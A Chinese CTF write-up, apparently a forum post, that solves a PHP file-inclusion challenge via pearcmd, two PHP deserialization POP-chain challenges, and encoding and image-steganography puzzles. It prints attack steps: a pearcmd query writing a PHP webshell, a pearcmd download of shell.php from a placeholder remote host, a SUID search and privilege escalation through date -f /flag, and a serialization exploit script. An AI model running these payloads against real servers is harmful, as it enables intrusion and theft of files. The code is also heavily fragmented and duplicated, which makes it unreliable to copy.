题目给了源码
题目提示要rce,而漏洞的利用点是一个include文件包含,
php环境限制了allow_url_include,所以能getshell的data和php://input都无法使用
直接包含flag回显权限不够,所以考虑rce提权
黑名单其实提供了一点线索,暗示本题通过pearcmd实现RCE
首先需要确认是否存在pearcmd.php文件,尝试包含,发现在当前目录和/usr/local/lib/php/目录下都存在pearcmd.php
pearcmd的常见思路是写文件getshell
但是本题做了过滤,file由于是get传参,因此可以url编码绕过pe%61rcmd.php
但是在写文件时却不能采用此方法,$_SERVER["QUERY_STRING"]并没有提供url解码的功能,而且将<?编码会导致文件不能将代码识别为php而失败
所以要转变一下思路,pearcmd.php的用法有很多,其中download可以下载文件,而且不经过include意味着不受allow_url_include的影响,因此可以实现远程文件下载
payload:
利用一句话木马反弹shell,再进行一个suid的提权
payload:
final payload:
利用点在
可以读取到phpinfo
起始点在cheng::__wakeup
pop:
exp:
题目给了源码,要构造pop链,最终的目的应该是要调用Test类下的getFlag函数,在反序列化时,会销毁对象,从而会触发__destruct(),而__wakeup() :会在unserialize()时,自动调用,优先级高于destruct
为了调用Test下的getFlag函数,我们需要用到call_user_func()函数进行构造,而call_user_func()函数由call触发,
注意到class A有一个
p可控,只要让他成为一个不可访问的方法即可触发call
class B有一个调用类的功能,由此来触发class A,class中的destruct又可以由反序列化直接触发,于是就形成了一条完整的链子
pop:
exp:
这道题目的难点在于他还抛出了一个exception异常,导致程序无法正常结束,从而无法触发CG回收机制,也就无法触发destruct方法
这里可以用array数组手动释放对象,从而触发CG回收,只需要把array1的下标更改为0,就会覆盖array0的实例对象
关于php的CG回收机制,这篇文章做了很详细的描述https://pankas.top/2022/08/04/php(phar)%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E5%90%84%E7%A7%8D%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF/)
给了一段编码
值得注意的是文件名33.txt
这段编码就是base32没有问题,但是解出来却是乱码,于是考虑第二3指代什么
尝试rot13先解一次码,再base32成功得到flag
给了一张图片,并在hint中给了encode脚本
分析来看就是把文件内容gbk编码,把大于0xff的部分缩小8倍放到图片的g里,小于0xff的部分放到图片的b里
exp:
得到的是一段中文,在里面穿插了flag
由于有原来文本中的数字和字母,这里考虑把有可能的字母数字提取出来,以@为分隔符,根据前后判断人为筛选一遍
完结(关于pop的部分,之后会再做一个比较详细的整理,敬请期待)
<?php
(empty($_GET[
"file"
])) ?highlight_file(__FILE__) : $
file
=
$_GET[
"file"
];
functionfliter($var):
bool
{
$blacklist
=
[
"<"
,
"?"
,
"$"
,
"["
,
"]"
,
";"
,
"eval"
,
">"
,
"@"
,
"_"
,
"create"
,
"install"
,
"pear"
];
foreach($blacklistas$blackword){
if
(stristr($var, $blackword)) returnFalse;
}
returnTrue;
}
if
(fliter($_SERVER[
"QUERY_STRING"
]))
{
include$
file
;
}
else
{
die(
"Noooo0"
);
}
<?php
(empty($_GET[
"file"
])) ?highlight_file(__FILE__) : $
file
=
$_GET[
"file"
];
functionfliter($var):
bool
{
$blacklist
=
[
"<"
,
"?"
,
"$"
,
"["
,
"]"
,
";"
,
"eval"
,
">"
,
"@"
,
"_"
,
"create"
,
"install"
,
"pear"
];
foreach($blacklistas$blackword){
if
(stristr($var, $blackword)) returnFalse;
}
returnTrue;
}
if
(fliter($_SERVER[
"QUERY_STRING"
]))
{
include$
file
;
}
else
{
die(
"Noooo0"
);
}
?
+
config
-
create
+
/
&
file
=
/
usr
/
local
/
lib
/
php
/
pearcmd.php&
/
<?
=
phpinfo()?>
+
/
tmp
/
hello.php
?
+
config
-
create
+
/
&
file
=
/
usr
/
local
/
lib
/
php
/
pearcmd.php&
/
<?
=
phpinfo()?>
+
/
tmp
/
hello.php
http:
/
/
80.endpoint
-
de4ae4b3e84d47a8b1eea291004b34a0.dasc.buuoj.cn:
81
&&
+
download
+
http:
/
/
ip:port
/
shell.php
http:
/
/
80.endpoint
-
de4ae4b3e84d47a8b1eea291004b34a0.dasc.buuoj.cn:
81
&&
+
download
+
http:
/
/
ip:port
/
shell.php
find
/
-
perm
-
u
=
s
-
type
f
2
>
/
dev
/
null
find
/
-
perm
-
u
=
s
-
type
f
2
>
/
dev
/
null
/
usr
/
bin
/
date
-
f
/
flag
<?php
error_reporting(
0
);
classyang
{
public$y1;
/
/
$y1
=
new bei() $y1
=
new cheng()
publicfunction__construct()
{
$this
-
>y1
-
>magic();
/
/
访问 __call()
}
publicfunction__tostring()
{
($this
-
>y1)();
/
/
phpinfo()
}
publicfunctionhint()
{
include_once(
'hint.php'
);
if
(isset($_GET[
'file'
]))
{
$
file
=
$_GET[
'file'
];
if
(preg_match(
"/$hey_mean_then/is"
, $
file
))
{
die(
"nonono"
);
}
include_once($
file
);
}
}
}
classcheng
{
public$c1;
/
/
$c1
=
new yang()
publicfunction__wakeup()
{
$this
-
>c1
-
>flag
=
'flag'
;
}
publicfunction__invoke()
{
$this
-
>c1
-
>hint();
/
/
hint
}
}
classbei
{
public$b1;
/
/
$b1
=
new yang()
public$b2;
publicfunction__set($k1,$k2)
/
/
不可访问的变量赋值
{
print
$this
-
>b1;
}
publicfunction__call($n1,$n2)
{
echo$this
-
>b1;
}
}
if
(isset($_POST[
'ans'
])) {
unserialize($_POST[
'ans'
]);
}
else
{
highlight_file(__FILE__);
}
?>
<?php
error_reporting(
0
);
classyang
{
public$y1;
/
/
$y1
=
new bei() $y1
=
new cheng()
publicfunction__construct()
{
$this
-
>y1
-
>magic();
/
/
访问 __call()
}
publicfunction__tostring()
{
($this
-
>y1)();
/
/
phpinfo()
}
publicfunctionhint()
{
include_once(
'hint.php'
);
if
(isset($_GET[
'file'
]))
{
$
file
=
$_GET[
'file'
];
if
(preg_match(
"/$hey_mean_then/is"
, $
file
))
{
die(
"nonono"
);
}
include_once($
file
);
}
}
}
classcheng
{
public$c1;
/
/
$c1
=
new yang()
publicfunction__wakeup()
{
$this
-
>c1
-
>flag
=
'flag'
;
}
publicfunction__invoke()
{
$this
-
>c1
-
>hint();
/
/
hint
}
}
classbei
{
public$b1;
/
/
$b1
=
new yang()
public$b2;
publicfunction__set($k1,$k2)
/
/
不可访问的变量赋值
{
print
$this
-
>b1;
}
publicfunction__call($n1,$n2)
{
echo$this
-
>b1;
}
}
if
(isset($_POST[
'ans'
])) {
unserialize($_POST[
'ans'
]);
}
else
{
highlight_file(__FILE__);
}
?>
publicfunction__tostring()
{
($this
-
>y1)();
/
/
phpinfo()
}
publicfunction__tostring()
{
($this
-
>y1)();
/
/
phpinfo()
}
cheng::__wakeup
-
>bei::__set
-
> yang::__tostring
cheng::__wakeup
-
>bei::__set
-
> yang::__tostring
<?php
/
/
cheng::__wakeup
-
>bei::__set
-
> yang::__tostring
classyang{
public$y1;
publicfunction__construct($y1){
$this
-
>y1
=
$y1;
}
}
classcheng{
public$c1;
publicfunction__construct($c1)
{
$this
-
>c1
=
$c1;
}
}
classbei{
public$b1;
publicfunction__construct($b1){
$this
-
>b1
=
$b1;
}
}
$ya
=
newcheng(newbei(newyang(
'phpinfo'
)));
$ser
=
serialize($ya);
echo$ser;
echourlencode($ser);
?>
<?php
/
/
cheng::__wakeup
-
>bei::__set
-
> yang::__tostring
classyang{
public$y1;
publicfunction__construct($y1){
$this
-
>y1
=
$y1;
}
}
classcheng{
public$c1;
publicfunction__construct($c1)
{
$this
-
>c1
=
$c1;
}
}
classbei{
public$b1;
publicfunction__construct($b1){
$this
-
>b1
=
$b1;
}
}
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2022-9-6 18:21
被ArT1_编辑
,原因: